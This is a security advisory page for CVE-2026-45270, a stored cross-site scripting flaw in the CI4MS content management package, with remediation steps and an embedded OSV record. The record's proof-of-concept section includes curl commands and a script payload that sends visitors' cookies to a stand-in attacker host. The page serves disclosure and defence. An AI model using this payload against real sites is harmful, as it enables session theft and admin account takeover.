CVE-2026-45270: CI4MS Cross-Site Scripting Vulnerability
HIGHCVE-2026-45270 is a HIGH (CVSS 8.7) cross-site scripting vulnerability (CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')) affecting CI4MS libraries in the Packagist ecosystem. The issue involves stored xss in pages module content via broken html_purify validation rule. Remediation is available by upgrading affected packages to version 0.31.9.0.
CVE-2026-45270 at a Glance
Security Impact
CVSS: 8.7
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N).
How to Fix CVE-2026-45270
To remediate this vulnerability, upgrade all affected CI4MS dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade ci4-cms-erp/ci4ms to 0.31.9.0
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for ci4-cms-erp/ci4ms
How to Check if You Are Affected
To determine whether your application is affected by CVE-2026-45270, inspect your project dependencies for CI4MS:
inspect dependencies for ci4-cms-erp/ci4ms
Analyze the terminal output to locate any version of CI4MS in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.31.9.0), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), where the product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. In CI4MS, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-45270 Affected CI4MS Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
ci4-cms-erp/ci4ms
|
Packagist |
< 0.31.9.0
|
0.31.9.0
|
References
Frequently Asked Questions
What is CVE-2026-45270?
Which CI4MS versions are affected?
What version fixes CVE-2026-45270?
Is ci4-cms-erp/ci4ms affected?
What is the CVSS score of CVE-2026-45270?
What CWE is associated with CVE-2026-45270?
How can I check Packagist dependencies for CVE-2026-45270?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-gqr2-7hcg-rchf",
"modified" : "2026-05-18T16:23:34Z",
"published" : "2026-05-18T16:23:34Z",
"aliases" : [ "CVE-2026-45270" ],
"summary" : "CI4MS: Stored XSS in Pages Module Content via Broken html_purify Validation Rule",
"details" : "## Summary\n\nThe `Pages` backend module registers the `html_purify` validation rule on language-keyed page content but persists the raw, un-purified POST value into the database. The public renderer for pages (`Home::index()` → `app/Views/templates/default/pages.php`) emits `$pageInfo->content` without `esc()`, yielding stored XSS that fires for every public visitor of the affected page — including administrators. Because pages may be promoted to the site home page, the payload can be served at `/` and reach every visitor of the site.\n\n## Details\n\nThis is a sibling-module variant of the same root cause as the Blog stored-XSS issue. The `html_purify` custom rule (`modules/Backend/Validation/CustomRules.php:54`) mutates its first argument by reference:\n\n```php\npublic function html_purify(?string &$str = null, ?string &$error = null): bool\n{\n ...\n $clean = self::sanitizeHtml($str);\n $str = $clean;\n self::$cleanCache[md5((string)$str)] = $clean;\n return true;\n}\n```\n\nCodeIgniter 4's `Validation::processRules()` (`vendor/codeigniter4/framework/system/Validation/Validation.php:344`) invokes the rule as `$set->{$rule}($value, $error)` where `$value` is a local copy populated from request data. Even though the rule signature accepts `$str` by reference, the mutation only updates the local `$value` inside `processRules()`; the original POST array (and the request body) are never modified. To get the sanitized output, controllers must call `CustomRules::getClean(...)` after validation — but no controller in the codebase does so.\n\nPages controller — `modules/Pages/Controllers/Pages.php`:\n\n- `Pages::create()` registers the rule at line 82:\n ```php\n 'lang.*.content' => ['label' => lang('Backend.content'), 'rules' => 'required|html_purify'],\n ```\n Then at lines 102–113 it reads the raw POST and inserts it untouched:\n ```php\n $langsData = $this->request->getPost('lang') ?? [];\n ...\n $this->commonModel->create('pages_langs', [\n ...\n 'content' => $lData['content'], // line 111 — RAW\n ...\n ]);\n ```\n- `Pages::update()` mirrors the same pattern at lines 130 and 157:\n ```php\n 'lang.*.content' => ['label' => lang('Backend.content'), 'rules' => 'required|html_purify'], // line 130\n ...\n 'content' => $lData['content'], // line 157 — RAW\n ```\n\nThe row lands in `pages_langs.content`, which is then read by the public-facing `Home::index()` controller (`app/Controllers/Home.php:31-76`) and emitted by the template at `app/Views/templates/default/pages.php:32`:\n\n```php\n<div id=\"ci4ms-content\">\n <?php echo $pageInfo->content ?> // no esc(), raw HTML output\n</div>\n```\n\n`CommonLibrary::parseInTextFunctions()` (`app/Libraries/CommonLibrary.php:45`) is called on `$pageInfo->content` first, but only handles `{{form=...}}` / `{...|...}` shortcode-style replacement — it does no HTML sanitization.\n\nThis is distinct from the Blog finding:\n- Different module/controller (`Modules\\Pages\\Controllers\\Pages` vs `Modules\\Blog\\Controllers\\Blog`)\n- Different table (`pages_langs.content` vs `blog_langs.content`)\n- Different view file (`templates/{theme}/pages.php` vs `templates/{theme}/blog/post.php`)\n- Different route (`/<seflink>` matched by `Home::index` vs `/blog/<seflink>`)\n- Pages can be promoted to the site home page via `Pages::setHomePage` (`modules/Pages/Controllers/Pages.php:206`), broadening blast radius beyond a single slug to every visitor of `/`.\n\nRoutes are confirmed protected by `backendGuard` for authentication (`modules/Pages/Config/PagesConfig.php:12-17`) and require `pages.create` / `pages.update` Shield permissions (`modules/Pages/Config/Routes.php:4-5`).\n\n## PoC\n\nPrerequisite: an account with the `pages.create` (or `pages.update`) permission. In ci4ms this is a non-admin content-author role.\n\nStep 1 — log in to backend, capture cookies:\n```bash\ncurl -k -c cookies.txt -b cookies.txt -X POST https://target/login \\\n -d 'email=author@example.com' -d 'password=AuthorPass1!'\n```\n\nStep 2 — create a page with a malicious `content` payload:\n```bash\ncurl -k -b cookies.txt -X POST https://target/backend/pages/create \\\n -d 'lang[en][title]=POC' \\\n -d 'lang[en][seflink]=poc-page-xss' \\\n -d 'lang[en][content]=<script>fetch(\"https://attacker.example/?c=\"+encodeURIComponent(document.cookie))</script>' \\\n -d 'isActive=1'\n```\n\nExpected: redirect to `/backend/pages/1` with `lang('Backend.created')` flashdata. The DB row `pages_langs.content` contains the literal `<script>...</script>` payload.\n\nStep 3 — trigger the XSS by visiting the public URL:\n```\nhttps://target/poc-page-xss\n```\n\n`Home::index()` selects the row, `pages.php:32` emits the raw `<script>` tag, and the payload runs in every visitor's browser context. If a logged-in administrator browses the public site or follows a link to this slug, their backend session cookie is exfiltrated to `attacker.example`, enabling full account takeover.\n\nStep 4 — broaden blast radius (optional, requires `pages.update`):\n```bash\ncurl -k -b cookies.txt -X POST https://target/backend/pages/setHomePage/<page_id> \\\n -H 'X-Requested-With: XMLHttpRequest'\n```\n\nAfter this, the malicious page is served at `/` to every visitor, including unauthenticated visitors and admins navigating to the front-end.\n\n## Impact\n\n- **Stored XSS in public-facing site:** any visitor to a malicious page slug — or to `/` if the page is set as home — executes the attacker's JavaScript.\n- **Admin account takeover:** an authenticated admin who loads the public page (common during normal site review) leaks their Shield session cookie / CSRF token, enabling the attacker to ride the session against the entire `/backend/*` surface (full CMS administration, user management, file editor, backups, theme upload).\n- **Privilege escalation:** the attacker only needs `pages.create` (a role typically delegated to non-admin content authors), but obtains code execution in the admin's browser, escaping the content-author security boundary into the admin's. This is the rationale for **S:C** in the CVSS vector.\n- **Persistence and broad reach:** the payload is database-backed and survives until the row is edited or deleted; the home-page promotion converts a single-slug XSS into a site-wide drive-by.\n\n## Recommended Fix\n\nStop relying on the broken reference-mutation pattern. The simplest, safest fix is to call the existing `sanitizeHtml` / `getClean` helper explicitly when persisting the content. In `modules/Pages/Controllers/Pages.php`:\n\n```php\nuse Modules\\Backend\\Validation\\CustomRules;\n\n// Pages::create() — replace line 111\n$this->commonModel->create('pages_langs', [\n 'pages_id' => $insertID,\n 'lang' => $langCode,\n 'title' => strip_tags(trim($lData['title'])),\n 'seflink' => strip_tags(trim($lData['seflink'])),\n 'content' => CustomRules::sanitizeHtml((string)($lData['content'] ?? '')),\n 'seo' => $seoData\n]);\n\n// Pages::update() — replace line 157\n$langUpdate = [\n 'title' => strip_tags(trim($lData['title'])),\n 'seflink' => strip_tags(trim($lData['seflink'])),\n 'content' => CustomRules::sanitizeHtml((string)($lData['content'] ?? '')),\n 'seo' => $seoData\n];\n```\n\nApply the same pattern in every other module that uses `html_purify` (Blog, etc.). For defense-in-depth, also escape on output for any field that is not intended to be raw HTML, and consider rewriting the `html_purify` rule to operate on `$data` so the validator stores the sanitized result via `getValidated()` rather than relying on a reference mutation that the framework discards.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Packagist",
"name" : "ci4-cms-erp/ci4ms"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "0.31.9.0"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 0.31.8.0"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-gqr2-7hcg-rchf"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/ci4-cms-erp/ci4ms"
}, {
"type" : "WEB",
"url" : "https://github.com/ci4-cms-erp/ci4ms/releases/tag/0.31.9.0"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-79" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-05-18T16:23:34Z",
"nvd_published_at" : null
}
}